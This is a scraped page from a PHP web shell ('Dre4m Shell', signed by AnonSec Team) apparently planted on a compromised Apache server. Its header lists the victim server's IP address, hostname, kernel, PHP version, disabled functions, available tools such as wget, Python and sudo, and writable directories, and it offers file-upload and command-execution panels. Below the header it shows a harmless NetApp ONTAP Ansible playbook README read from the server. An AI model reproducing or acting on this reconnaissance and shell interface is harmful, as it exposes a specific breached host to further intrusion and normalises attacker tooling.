Dre4m Shell
Server IP : 85.214.239.14  /  Your IP : 3.144.132.48
Web Server : Apache/2.4.62 (Debian)
System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Mon Sep 30 15:36:27 MSK 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.18
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/ansible_collections/netapp/ontap/playbooks/examples/json_query/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /lib/python3/dist-packages/ansible_collections/netapp/ontap/playbooks/examples/json_query/README.md
=============================================================

 netapp.ontap

 NetApp ONTAP Collection

 Copyright (c) 2020 NetApp, Inc. All rights reserved.
 Specifications subject to change without notice.

=============================================================
# Playbook examples

As the name indicates, these are examples, and while they are working at the time of publication, we do not support these playbooks.
We cannot guarantee they are working on other systems, or other configurations, or other versions than what we used at the time.
We will not maintain these playbooks as time passes.

## ONTAP list volumes that are online, or offline

The na_ontap_pb_get_online_volumes playbook illustrate two ways to use json_query:
1. to flatten a complex structure and extract only the fields of interest,
2. to filter the fields of interest based on some criteria.

The na_ontap_pb_get_online_volumes playbook illustrates three ways to use variables in an Ansible playbook:
1. directly inside the playbook, under the `vars:` keyword,
1. by importing an external file, under the `vars_files:` keyword,
1. by adding `--extra-vars` to the `ansible-playbook` command line.  Using `@` enables to use a file rather than providing each variable explicitly.

Note that `--extra-vars` has the highest precedence.  `vars` has the lowest precedence.  It is possible to comnbine the 3 techniques within a single playbook.

The advantage of using a vars_file is that you can keep important variables private.  --extra-vars provides more flexibility regarding the location of the vars file.

Anon7 - 2022
AnonSec Team